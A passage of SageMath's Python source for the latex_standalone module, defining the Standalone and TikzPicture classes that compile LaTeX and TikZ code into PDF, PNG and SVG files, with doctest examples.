'raster' or graphics is None:\n            preferred = prefer_raster + prefer_vector\n        elif graphics == 'vector':\n            preferred = prefer_vector + prefer_raster\n        else:\n            raise ValueError('unknown graphics output preference')\n\n        for format, output_container in preferred:\n            if output_container in display_manager.supported_output():\n                filename = getattr(self, format)(view=False, **kwds)\n                from sage.repl.rich_output.buffer import OutputBuffer\n                buf = OutputBuffer.from_file(filename)\n                return output_container(buf)\n\n    def __str__(self):\n        r\"\"\"\n        Return the complete string of the standalone document class file\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: t = Standalone(s, document_class_options=['tikz'])\n            sage: print(t)\n            \\RequirePackage{luatex85}\n            \\documentclass[tikz]{standalone}\n            \\begin{document}\n            \\begin{tikzpicture}\n            \\draw (0,0) -- (1,1);\n            \\end{tikzpicture}\n            \\end{document}\n        \"\"\"\n        lines = []\n        # LuaLaTeX, TeXLive 2016, standalone: undefined control sequence\n        # https://tex.stackexchange.com/questions/315025\n        # fixed in 2018, meanwhile, we add the fix here\n        lines.append(r\"\\RequirePackage{luatex85}\")\n        lines.extend(self._latex_file_header_lines())\n        lines.append(r\"\\begin{document}\")\n        lines.append(self._content)\n        lines.append(r\"\\end{document}\")\n        return '\\n'.join(lines)\n\n    def content(self):\n        r\"\"\"\n        Return the content of the standalone document class file\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: t = Standalone('Hello World')\n            sage: t.content()\n            'Hello World'\n\n        ::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: t = TikzPicture(s)\n            sage: print(t.content())\n            \\begin{tikzpicture}\n            \\draw (0,0) -- (1,1);\n            \\end{tikzpicture}\n        \"\"\"\n        return self._content\n\n    def add_document_class_option(self, option):\n        r\"\"\"\n        Add a document class option\n\n        INPUT:\n\n        - ``option`` -- string\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: t = Standalone('Hello World')\n            sage: t.add_document_class_option('beamer')\n            sage: t\n            \\documentclass[beamer]{standalone}\n            \\begin{document}\n            Hello World\n            \\end{document}\n        \"\"\"\n        self._document_class_options.append(option)\n\n    def add_standalone_config(self, config):\n        r\"\"\"\n        Add a standalone config\n\n        INPUT:\n\n        - ``config`` -- string\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: t = Standalone('Hello World')\n            sage: t.add_standalone_config(\"border=4mm\")\n            sage: t\n            \\documentclass{standalone}\n            \\standaloneconfig{border=4mm}\n            \\begin{document}\n            Hello World\n            \\end{document}\n\n        \"\"\"\n        self._standalone_config.append(config)\n\n    def add_usepackage(self, package):\n        r\"\"\"\n        Add a ``usepackage`` line\n\n        INPUT:\n\n        - ``package`` -- string, name of package\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: t = Standalone('Hello World')\n            sage: t.add_usepackage('amsmath')\n            sage: t\n            \\documentclass{standalone}\n            \\usepackage{amsmath}\n            \\begin{document}\n            Hello World\n            \\end{document}\n\n        \"\"\"\n        self._usepackage.append(package)\n\n    def add_macro(self, macro):\n        r\"\"\"\n        Add a macro\n\n        INPUT:\n\n        - ``macro`` -- string, newcommand line\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: t = Standalone('Hello World')\n            sage: t.add_macro(r'\\newcommand{\\ZZ}{\\mathbb{Z}}')\n            sage: t\n            \\documentclass{standalone}\n            \\newcommand{\\ZZ}{\\mathbb{Z}}\n            \\begin{document}\n            Hello World\n            \\end{document}\n\n        \"\"\"\n        self._macros.append(macro)\n\n    def pdf(self, filename=None, view=True, program=None):\n        r\"\"\"\n        Compiles the latex code with pdflatex and create a pdf file.\n\n        INPUT:\n\n        - ``filename`` -- string (default: ``None``), the output filename.\n          If ``None``, it saves the file in a temporary directory.\n\n        - ``view`` -- bool (default:``True``), whether to open the file in a\n          pdf viewer. This option is ignored and automatically set to\n          ``False`` if ``filename`` is not ``None``.\n\n        - ``program`` -- string (default:``None``) ``'pdflatex'`` or\n          ``'lualatex'``. If ``None``, it uses ``'lualatex'`` if it is\n          available, otherwise ``'pdflatex'``.\n\n        OUTPUT:\n\n            string, path to pdf file\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: t = Standalone('Hello World')\n            sage: _ = t.pdf(view=False)     # long time (1s)   # optional latex\n\n        Same for instances of :class:`TikzPicture`::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: t = TikzPicture(s)\n            sage: _ = t.pdf(view=False)     # not tested\n\n        A filename may be provided where to save the file, in which case\n        the viewer does not open the file::\n\n            sage: from sage.misc.temporary_file import tmp_filename\n            sage: filename = tmp_filename('temp','.pdf')\n            sage: path_to_file = t.pdf(filename)   # long time (1s)   # optional latex\n            sage: path_to_file[-4:]                # long time (fast) # optional latex\n            '.pdf'\n\n        The filename may contain spaces::\n\n            sage: filename = tmp_filename('filename with spaces','.pdf')\n            sage: path_to_file = t.pdf(filename)   # long time (1s)   # optional latex\n\n        TESTS:\n\n        We test the behavior when a wrong tex string is provided::\n\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: s_missing_last_character = s[:-1]\n            sage: t = TikzPicture(s_missing_last_character)\n            sage: _ = t.pdf()                 # optional latex\n            Traceback (most recent call last):\n            ...\n            CalledProcessError: Command '['...latex', '-interaction=nonstopmode',\n            'tikz_...tex']' returned non-zero exit status 1.\n\n        \"\"\"\n        from sage.features.latex import lualatex, pdflatex\n\n        # Set default program\n        if program is None:\n            if lualatex().is_present():\n                program = 'lualatex'\n            else:\n                program = 'pdflatex'\n\n        # Check availability of programs\n        if program == 'pdflatex':\n            pdflatex().require()\n        elif program == 'lualatex':\n            lualatex().require()\n        else:\n            raise ValueError(\"program(={}) should be pdflatex or lualatex\".format(program))\n\n        # set up filenames\n        from sage.misc.temporary_file import tmp_filename\n        temp_filename_tex = tmp_filename('tikz_', '.tex')\n        with open(temp_filename_tex, 'w') as f:\n            f.write(str(self))\n        base, temp_filename_tex = os.path.split(temp_filename_tex)\n        temp_filename, ext = os.path.splitext(temp_filename_tex)\n\n        # running pdflatex or lualatex\n        cmd = [program, '-interaction=nonstopmode', temp_filename_tex]\n        result = run(cmd, cwd=base, capture_output=True, text=True)\n\n        # If a problem with the tex source occurs, provide the log\n        if result.returncode != 0:\n            print(\"Command \\n\"\n                  \"   '{}'\\n\"\n                  \"returned non-zero exit status {}.\\n\"\n                  \"Here is the content of the stderr:{}\\n\"\n                  \"Here is the content of the stdout:\"\n                  \"{}\\n\".format(' '.join(result.args),\n                                result.returncode,\n                                result.stderr.strip(),\n                                result.stdout.strip()))\n        result.check_returncode()\n        temp_filename_pdf = os.path.join(base, temp_filename + '.pdf')\n\n        # move the pdf into the good location\n        if filename:\n            filename = os.path.abspath(filename)\n            os.rename(temp_filename_pdf, filename)\n            return filename\n\n        # open the tmp pdf\n        elif view:\n            from sage.misc.viewer import pdf_viewer\n            cmd = pdf_viewer().split()\n            cmd.append(temp_filename_pdf)\n            # we use check_call as opposed to run, because\n            # it gives the sage prompt back to the user\n            # see https://stackoverflow.com/a/71342967\n            # run(cmd, cwd=base, capture_output=True, check=True)\n            from subprocess import check_call, PIPE\n            check_call(cmd, cwd=base, stdout=PIPE, stderr=PIPE)\n\n        return temp_filename_pdf\n\n    def png(self, filename=None, density=150, view=True):\n        r\"\"\"\n        Compiles the latex code with pdflatex and converts to a png file.\n\n        INPUT:\n\n        - ``filename`` -- string (default:``None``), the output filename.\n          If ``None``, it saves the file in a temporary directory.\n\n        - ``density`` -- integer, (default: ``150``), horizontal and vertical\n          density of the image\n\n        - ``view`` -- bool (default:``True``), whether to open the file in a\n          png viewer. This option is ignored and automatically set to\n          ``False`` if ``filename`` is not ``None``.\n\n        OUTPUT:\n\n            string, path to png file\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: t = Standalone('Hello World')\n            sage: _ = t.png(view=False)     # long time (1s)   # optional latex imagemagick\n\n        Same for instances of :class:`TikzPicture`::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: t = TikzPicture(s)\n            sage: _ = t.png(view=False)     # not tested\n\n        ::\n\n            sage: from sage.misc.temporary_file import tmp_filename\n            sage: filename = tmp_filename('temp','.png')\n            sage: path_to_file = t.png(filename) # long time (1s)   # optional latex imagemagick\n            sage: path_to_file[-4:]              # long time (fast) # optional latex imagemagick\n            '.png'\n\n        \"\"\"\n        from sage.features.imagemagick import ImageMagick\n        ImageMagick().require()\n\n        temp_filename_pdf = self.pdf(filename=None, view=False)\n        temp_filename, ext = os.path.splitext(temp_filename_pdf)\n        temp_filename_png = temp_filename + '.png'\n\n        # convert to png\n        cmd = ['convert', '-density',\n               '{0}x{0}'.format(density), '-trim', temp_filename_pdf,\n               temp_filename_png]\n        result = run(cmd, capture_output=True, text=True)\n\n        # If a problem occurs, provide the log\n        if result.returncode != 0:\n            print(\"Command \\n\"\n                  \"   '{}'\\n\"\n                  \"returned non-zero exit status {}.\\n\"\n                  \"Here is the content of the stderr:{}\\n\"\n                  \"Here is the content of the stdout:\"\n                  \"{}\\n\".format(' '.join(result.args),\n                                result.returncode,\n                                result.stderr.strip(),\n                                result.stdout.strip()))\n        result.check_returncode()\n\n        # move the png into the good location\n        if filename:\n            filename = os.path.abspath(filename)\n            os.rename(temp_filename_png, filename)\n            return filename\n\n        # open the tmp png\n        elif view:\n            from sage.misc.viewer import png_viewer\n            cmd = png_viewer().split()\n            cmd.append(temp_filename_png)\n            # we use check_call as opposed to run, because\n            # it gives the sage prompt back to the user\n            # see https://stackoverflow.com/a/71342967\n            # run(cmd, capture_output=True, check=True)\n            from subprocess import check_call, PIPE\n            check_call(cmd, stdout=PIPE, stderr=PIPE)\n\n        return temp_filename_png\n\n    def svg(self, filename=None, view=True, program='pdftocairo'):\n        r\"\"\"\n        Compiles the latex code with pdflatex and converts to a svg file.\n\n        INPUT:\n\n        - ``filename`` -- string (default:``None``), the output filename.\n          If ``None``, it saves the file in a temporary directory.\n\n        - ``view`` -- bool (default:``True``), whether to open the file in\n          a browser. This option is ignored and automatically set to\n          ``False`` if ``filename`` is not ``None``.\n\n        - ``program`` -- string (default:``'pdftocairo'``) ``'pdftocairo'`` or\n          ``'pdf2svg'``.\n\n        OUTPUT:\n\n            string, path to svg file\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: t = Standalone('Hello World')\n            sage: _ = t.svg(view=False)     # not tested\n\n        Same for instances of :class:`TikzPicture`::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: t = TikzPicture(s)\n            sage: _ = t.svg(view=False)     # not tested\n\n        ::\n\n            sage: from sage.misc.temporary_file import tmp_filename\n            sage: filename = tmp_filename('temp', '.svg')\n            sage: path_to_file = t.svg(filename, program='pdf2svg')   # long time (1s)   # optional latex pdf2svg\n            sage: path_to_file[-4:]                                   # long time (fast) # optional latex pdf2svg\n            '.svg'\n            sage: path_to_file = t.svg(filename, program='pdftocairo') # long time (1s)   # optional latex pdftocairo\n            sage: path_to_file[-4:]                                    # long time (fast) # optional latex pdftocairo\n            '.svg'\n\n        \"\"\"\n        # set the temporary filenames\n        temp_filename_pdf = self.pdf(filename=None, view=False)\n        temp_filename, ext = os.path.splitext(temp_filename_pdf)\n        temp_filename_svg = temp_filename + '.svg'\n\n        # set the command\n        if program == 'pdftocairo':\n            from sage.features.poppler import pdftocairo\n            pdftocairo().require()\n            cmd = ['pdftocairo', '-svg', temp_filename_pdf, temp_filename_svg]\n        elif program == 'pdf2svg':\n            from sage.features.pdf2svg import pdf2svg\n            pdf2svg().require()\n            cmd = ['pdf2svg', temp_filename_pdf, temp_filename_svg]\n        else:\n            raise ValueError(\"program(={}) should be 'pdftocairo' or\"\n                    \" 'pdf2svg'\".format(program))\n\n        # convert to svg\n        result = run(cmd, capture_output=True, text=True)\n\n        # If a problem occurs, provide the log\n        if result.returncode != 0:\n            print(\"Command \\n\"\n                  \"   '{}'\\n\"\n                  \"returned non-zero exit status {}.\\n\"\n                  \"Here is the content of the stderr:{}\\n\"\n                  \"Here is the content of the stdout:\"\n                  \"{}\\n\".format(' '.join(result.args),\n                                result.returncode,\n                                result.stderr.strip(),\n                                result.stdout.strip()))\n        result.check_returncode()\n\n        # move the svg into the good location\n        if filename:\n            filename = os.path.abspath(filename)\n            os.rename(temp_filename_svg, filename)\n            return filename\n\n        # open the tmp svg\n        elif view:\n            from sage.misc.viewer import browser\n            cmd = browser().split()\n            cmd.append(temp_filename_svg)\n            # we use check_call as opposed to run, because\n            # it gives the sage prompt back to the user\n            # see https://stackoverflow.com/a/71342967\n            # run(cmd, capture_output=True, check=True)\n            from subprocess import check_call, PIPE\n            check_call(cmd, stdout=PIPE, stderr=PIPE)\n\n        return temp_filename_svg\n\n    def tex(self, filename=None, content_only=False, include_header=None):\n        r\"\"\"\n        Writes the latex code to a file.\n\n        INPUT:\n\n        - ``filename`` -- string (default:``None``), the output filename.\n          If ``None``, it saves the file in a temporary directory.\n        - ``content_only`` -- bool (default:``False``) whether to include\n          the header latex part. If ``True``, it prints only the\n          content to the file.\n\n        OUTPUT:\n\n            string, path to tex file\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: t = Standalone('Hello World')\n            sage: _ = t.tex()\n            sage: _ = t.tex(content_only=True)\n\n        Same for instances of :class:`TikzPicture`::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: t = TikzPicture(s)\n            sage: _ = t.tex()\n            sage: _ = t.tex(content_only=True)\n\n        Write to a given filename::\n\n            sage: from sage.misc.temporary_file import tmp_filename\n            sage: filename = tmp_filename('temp','.tex')\n            sage: path_to_file = t.tex(filename)\n            sage: path_to_file[-4:]\n            '.tex'\n\n        \"\"\"\n        if filename is None:\n            from sage.misc.temporary_file import tmp_filename\n            filename = tmp_filename('tikz_', '.tex')\n        else:\n            filename = os.path.abspath(filename)\n\n        if include_header is not None:\n            content_only = not include_header\n            from sage.misc.superseded import deprecation\n            deprecation(20343, \"When merging this code from slabbe into \"\n                    \"SageMath the argument include_header=False was \"\n                    \"replaced by content_only=True. Please update your code \"\n                    \"before include_header option gets removed from SageMath.\")\n\n        if content_only:\n            output = self.content()\n        else:\n            output = str(self)\n\n        with open(filename, 'w') as f:\n            f.write(output)\n\n        return filename\n\n\nclass TikzPicture(Standalone):\n    r\"\"\"\n    A TikzPicture embedded in a LaTeX standalone document class.\n\n    INPUT:\n\n    - ``content`` -- string, tikzpicture code starting with ``r'\\begin{tikzpicture}'``\n      and ending with ``r'\\end{tikzpicture}'``\n    - ``standalone_config`` -- list of strings (default: ``[]``),\n      latex document class standalone configuration options.\n    - ``usepackage`` -- list of strings (default: ``[]``), latex\n      packages.\n    - ``usetikzlibrary`` -- list of strings (default: ``[]``), tikz libraries\n      to use.\n    - ``macros`` -- list of strings (default: ``[]``), stuff you need for the picture.\n    - ``use_sage_preamble`` -- bool (default: ``False``), whether to include sage\n      latex preamble and sage latex macros, that is, the content of\n      :func:`sage.misc.latex.extra_preamble()`,\n      :func:`sage.misc.latex.extra_macros()` and\n      :func:`sage.misc.latex_macros.sage_latex_macros()`.\n\n    EXAMPLES:\n\n    Create your own tikz string from scratch and provide it::\n\n        sage: from sage.misc.latex_standalone import TikzPicture\n        sage: lines = []\n        sage: lines.append(r'\\begin{tikzpicture}')\n        sage: lines.append(r'\\draw[very thick,orange,->] (0,0) -- (1,1);')\n        sage: lines.append(r'\\end{tikzpicture}')\n        sage: s = '\\n'.join(lines)\n        sage: t = TikzPicture(s)\n        sage: t\n        \\documentclass[tikz]{standalone}\n        \\begin{document}\n        \\begin{tikzpicture}\n        \\draw[very thick,orange,->] (0,0) -- (1,1);\n        \\end{tikzpicture}\n        \\end{document}\n\n    Then use it by exporting the tikzpicture to other formats, all of the\n    below methods return a string providing the path to the filename, which\n    is by default in a temporary folder::\n\n        sage: _ = t.pdf()                     # not tested\n        sage: _ = t.png()                     # not tested\n        sage: _ = t.svg()                     # not tested\n        sage: _ = t.tex()                     # not tested\n        sage: _ = t.pdf(filename='abc.pdf')   # not tested\n\n    Here we create a tikzpicture for the latex representation of a graph.\n    This is using tkz-graph tex library::\n\n        sage: g = graphs.PetersenGraph()        # optional sage.graphs\n        sage: s = latex(g)                      # optional sage.graphs latex\n        sage: t = TikzPicture(s, standalone_config=[\"border=4mm\"], usepackage=['tkz-graph']) # optional sage.graphs latex\n        sage: _ = t.pdf(view=False)             # long time (2s) # optional - sage.graphs latex latex_package_tkz_graph\n\n    Here are standalone configurations, packages, tikz libraries and macros\n    that can be set::\n\n        sage: options = ['preview', 'border=4mm', 'beamer', 'float']\n        sage: usepackage = ['nicefrac', 'amsmath', 'pifont', 'tikz-3dplot',\n        ....:    'pgfplots']\n        sage: tikzlib = ['arrows', 'snakes', 'backgrounds', 'patterns',\n        ....:      'matrix', 'shapes', 'fit', 'calc', 'shadows', 'plotmarks',\n        ....:      'positioning', 'pgfplots.groupplots', 'mindmap']\n        sage: macros = [r'\\newcommand{\\ZZ}{\\mathbb{Z}}']\n        sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n        sage: t = TikzPicture(s, standalone_config=options, usepackage=usepackage,\n        ....:        usetikzlibrary=tikzlib, macros=macros)\n        sage: _ = t.pdf(view=False)   # long time (2s) # optional latex\n    \"\"\"\n    def __init__(self, content, standalone_config=None, usepackage=None,\n            usetikzlibrary=None, macros=None, use_sage_preamble=False):\n        r\"\"\"\n        See :class:`TikzPicture` for full information.\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: t = TikzPicture(s)\n        \"\"\"\n        Standalone.__init__(self, content, document_class_options=['tikz'],\n            standalone_config=standalone_config, usepackage=usepackage,\n            macros=macros, use_sage_preamble=use_sage_preamble)\n\n        self._usetikzlibrary = [] if usetikzlibrary is None else usetikzlibrary\n\n    def _latex_file_header_lines(self):\n        r\"\"\"\n        EXAMPLES::\n\n            sage: latex.extra_preamble('')\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: t = TikzPicture(s, standalone_config=[\"border=4mm\"], usepackage=['tkz-graph'])\n            sage: t._latex_file_header_lines()[:6]\n            ['\\\\documentclass[tikz]{standalone}',\n             '\\\\standaloneconfig{border=4mm}',\n             '\\\\usepackage{tkz-graph}']\n        \"\"\"\n        lines = Standalone._latex_file_header_lines(self)\n        for library in self._usetikzlibrary:\n            lines.append(r\"\\usetikzlibrary{{{}}}\".format(library))\n        return lines\n\n    def add_usetikzlibrary(self, library):\n        r\"\"\"\n        Add a ``usetikzlibrary`` line\n\n        INPUT:\n\n        - ``library`` -- string, name of library\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: t = TikzPicture(s)\n            sage: t.add_usetikzlibrary('arrows')\n            sage: t\n            \\documentclass[tikz]{standalone}\n            \\usetikzlibrary{arrows}\n            \\begin{document}\n            \\begin{tikzpicture}\n            \\draw (0,0) -- (1,1);\n            \\end{tikzpicture}\n            \\end{document}\n\n        \"\"\"\n        self._usetikzlibrary.append(library)\n\n    @classmethod\n    def from_dot_string(cls, dotdata, prog='dot'):\n        r\"\"\"\n        Convert a graph to a tikzpicture using graphviz and dot2tex.\n\n        .. NOTE::\n\n            Prerequisite: dot2tex optional Sage package and graphviz must be\n            installed.\n\n        INPUT:\n\n        - ``dotdata`` -- dot format string\n        - ``prog`` -- string (default: ``'dot'``) the program used for the\n          layout corresponding to one of the software of the graphviz\n          suite: 'dot', 'neato', 'twopi', 'circo' or 'fdp'.\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: G = graphs.PetersenGraph()                  # optional sage.graphs\n            sage: dotdata = G.graphviz_string()               # optional sage.graphs\n            sage: tikz = TikzPicture.from_dot_string(dotdata) # optional sage.graphs dot2tex graphviz # long time (3s)\n            sage: _ = tikz.pdf()      # not tested\n\n        ::\n\n            sage: dotdata = G.graphviz_string(labels='latex') # optional sage.graphs\n            sage: tikz = TikzPicture.from_dot_string(dotdata) # optional sage.graphs dot2tex graphviz # long time (3s)\n            sage: _ = tikz.pdf()      # not tested\n\n        ::\n\n            sage: W = CoxeterGroup([\"A\",2])\n            sage: G = W.cayley_graph()                        # optional sage.graphs\n            sage: dotdata = G.graphviz_string()               # optional sage.graphs\n            sage: tikz = TikzPicture.from_dot_string(dotdata) # optional sage.graphs dot2tex graphviz # long time (3s)\n            sage: _ = tikz.pdf()      # not tested\n\n        ::\n\n            sage: dotdata = G.graphviz_string(labels='latex') # optional sage.graphs\n            sage: tikz = TikzPicture.from_dot_string(dotdata) # optional sage.graphs dot2tex graphviz # long time (3s)\n            sage: _ = tikz.pdf()      # not tested\n\n        \"\"\"\n        from sage.features import PythonModule\n        PythonModule(\"dot2tex\").require()\n        from sage.features.graphviz import Graphviz\n        Graphviz().require()\n\n        import dot2tex\n        tikz = dot2tex.dot2tex(dotdata,\n                               format='tikz',\n                               autosize=True,\n                               crop=True,\n                               figonly='True',\n                               prog=prog).strip()\n        return TikzPicture(tikz, standalone_config=[\"border=4mm\"],\n                           usetikzlibrary=['shapes'])\n\n    @classmethod\n    @experimental(trac_number=20343)\n    def from_graph(cls, graph, merge_multiedges=True,\n            merge_label_function=tuple, **kwds):\n        r\"\"\"\n        Convert a graph to a tikzpicture using graphviz and dot2tex.\n\n        .. NOTE::\n\n            Prerequisite: dot2tex optional Sage package and graphviz must be\n            installed.\n\n        .. WARNING::\n\n            This method might be deleted in the future in favor of a method\n            in the graph class returning a tikz picture.\n\n        INPUT:\n\n        - ``graph`` -- graph\n        - ``merge_multiedges`` -- bool (default: ``True``), if the graph\n          has multiple edges, whether to merge the multiedges into one\n          single edge\n        - ``merge_label_function`` -- function (default:``tuple``), a\n          function to apply to each list of labels to be merged. It is\n          ignored if ``merge_multiedges`` is not ``True`` or if the graph\n          has no multiple edges.\n\n        Other inputs are used for latex drawing with dot2tex and graphviz:\n\n        - ``prog`` -- string (default: ``'dot'``) the program used for the\n          layout corresponding to one of the software of the graphviz\n          suite: 'dot', 'neato', 'twopi', 'circo' or 'fdp'.\n        - ``edge_labels`` -- bool (default: ``True``)\n        - ``color_by_label`` -- bool (default: ``False``)\n        - ``rankdir`` -- string (default: ``'down'``)\n        - ``subgraph_clusters`` -- (default: []) a list of lists of\n          vertices, if supported by the layout engine, nodes belonging to\n          the same cluster subgraph are drawn together, with the entire\n          drawing of the cluster contained within a bounding rectangle.\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: g = graphs.PetersenGraph()       # optional sage.graphs\n            sage: tikz = TikzPicture.from_graph(g) # optional sage.graphs dot2tex graphviz\n            doctest:...: FutureWarning: This class/method/function is marked as experimental.\n            It, its functionality or its interface might change without a formal deprecation.\n            See http://trac.sagemath.org/20343 for details.\n            sage: _ = tikz.pdf()      # not tested\n\n        Using ``prog``::\n\n            sage: tikz = TikzPicture.from_graph(g, prog='neato', color_by_label=True) # optional sage.graphs dot2tex graphviz # long time (3s)\n            sage: _ = tikz.pdf()      # not tested\n\n        Using ``rankdir``::\n\n            sage: tikz = TikzPicture.from_graph(g, rankdir='right') # optional sage.graphs dot2tex graphviz # long time (3s)\n            sage: _ = tikz.pdf()      # not tested\n\n        Using ``merge_multiedges``::\n\n            sage: alpha = var('alpha')\n            sage: m = matrix(2,range(4)); m.set_immutable()\n            sage: G = DiGraph([(0,1,alpha), (0,1,0), (0,2,9), (0,2,m)], multiedges=True) # optional sage.graphs\n            sage: tikz = TikzPicture.from_graph(G, merge_multiedges=True) # optional sage.graphs dot2tex graphviz\n            sage: _ = tikz.pdf()      # not tested\n\n        Using ``merge_multiedges`` with ``merge_label_function``::\n\n            sage: fn = lambda L: LatexExpr(','.join(map(str, L)))\n            sage: edges = [(0,1,'a'), (0,1,'b'), (0,2,'c'), (0,2,'d')]\n            sage: G = DiGraph(edges, multiedges=True)       # optional sage.graphs\n            sage: tikz = TikzPicture.from_graph(G,          # optional sage.graphs dot2tex graphviz\n            ....:           merge_multiedges=True, merge_label_function=fn)\n            sage: _ = tikz.pdf()      # not tested\n\n        Using subgraphs clusters (broken when using labels, see\n        :trac:`22070`)::\n\n            sage: S = FiniteSetMaps(5)\n            sage: I = S((0,1,2,3,4))\n            sage: a = S((0,1,3,0,0))\n            sage: b = S((0,2,4,1,0))\n            sage: roots = [I]\n            sage: succ = lambda v:[v*a,v*b,a*v,b*v]\n            sage: R = RecursivelyEnumeratedSet(roots, succ)\n            sage: G = R.to_digraph()                        # optional sage.graphs\n            sage: G                                         # optional sage.graphs\n            Looped multi-digraph on 27 vertices\n            sage: C = G.strongly_connected_components()     # optional sage.graphs\n            sage: tikz = TikzPicture.from_graph(G,          # optional sage.graphs dot2tex graphviz\n            ....:              merge_multiedges=False, subgraph_clusters=C)\n            sage: _ = tikz.pdf()      # not tested\n\n        An example coming from ``graphviz_string`` documentation in SageMath::\n\n            sage: f(x) = -1 / x                                       # optional sage.symbolic\n            sage: g(x) = 1 / (x + 1)                                  # optional sage.symbolic\n            sage: G = DiGraph()                                       # optional sage.symbolic sage.graphs\n            sage: G.add_edges((i, f(i), f) for i in (1, 2, 1/2, 1/4)) # optional sage.symbolic sage.graphs\n            sage: G.add_edges((i, g(i), g) for i in (1, 2, 1/2, 1/4)) # optional sage.symbolic sage.graphs\n            sage: tikz = TikzPicture.from_graph(G)                    # optional sage.symbolic sage.graphs dot2tex graphviz\n            sage: _ = tikz.pdf()      # not tested\n            sage: def edge_options(data):\n            ....:     u, v, label = data\n            ....:     options = {\"color\": {f: \"red\", g: \"blue\"}[label]}\n            ....:     if (u,v) == (1/2, -2): options[\"label\"]       = \"coucou\"; options[\"label_style\"] = \"string\"\n            ....:     if (u,v) == (1/2,2/3): options[\"dot\"]         = \"x=1,y=2\"\n            ....:     if (u,v) == (1,   -1): options[\"label_style\"] = \"latex\"\n            ....:     if (u,v) == (1,  1/2): options[\"dir\"]         = \"back\"\n            ....:     return options\n            sage: tikz = TikzPicture.from_graph(G, edge_options=edge_options)  # optional sage.symbolic sage.graphs dot2tex graphviz\n            sage: _ = tikz.pdf()      # not tested\n\n        \"\"\"\n        from sage.features.latex import pdflatex\n        pdflatex().require()\n        from sage.features.graphviz import Graphviz\n        Graphviz().require()\n        from sage.features import PythonModule\n        PythonModule(\"dot2tex\").require()\n\n        if merge_multiedges and graph.has_multiple_edges():\n            from collections import defaultdict\n            d = defaultdict(list)\n            for (u, v, label) in graph.edges():\n                d[(u, v)].append(label)\n            edges = [(u, v, merge_label_function(label_list)) for (u, v), label_list in d.items()]\n            loops = graph.has_loops()\n            if graph.is_directed():\n                from sage.graphs.digraph import DiGraph\n                graph = DiGraph(edges, format='list_of_edges', loops=loops)\n            else:\n                from sage.graphs.graph import Graph\n                graph = Graph(edges, format='list_of_edges', loops=loops)\n\n        options = dict(format='dot2tex', edge_labels=True,\n                       color_by_label=False, prog='dot', rankdir='down')\n        options.update(kwds)\n\n        graph.latex_options().set_options(**options)\n        tikz = graph._latex_()\n        return TikzPicture(tikz, standalone_config=[\"border=4mm\"])\n\n    @classmethod\n    @experimental(trac_number=20343)\n    def from_graph_with_pos(cls, graph, scale=1, merge_multiedges=True,\n            merge_label_function=tuple):\n        r\"\"\"\n        Convert a graph with positions defined for vertices to a tikzpicture.\n\n        .. WARNING::\n\n            This method might be deleted in the future in favor of a method\n            in the graph class returning a tikz picture.\n\n        INPUT:\n\n        - ``graph`` -- graph (with predefined positions)\n        - ``scale`` -- number (default:``1``), tikzpicture scale\n        - ``merge_multiedges`` -- bool (default: ``True``), if the graph\n          has multiple edges, whether to merge the multiedges into one\n          single edge\n        - ``merge_label_function`` -- function (default:``tuple``), a\n          function to apply to each list of labels to be merged. It is\n          ignored if ``merge_multiedges`` is not ``True`` or if the graph\n          has no multiple edges.\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: g = graphs.PetersenGraph()                      # optional sage.graphs\n            sage: tikz = TikzPicture.from_graph_with_pos(g)       # optional sage.graphs\n            doctest:...: FutureWarning: This class/method/function is marked as experimental.\n            It, its functionality or its interface might change without a formal deprecation.\n            See http://trac.sagemath.org/20343 for details.\n\n        ::\n\n            sage: edges = [(0,0,'a'),(0,1,'b'),(0,1,'c')]\n            sage: kwds = dict(format='list_of_edges', loops=True, multiedges=True)\n            sage: G 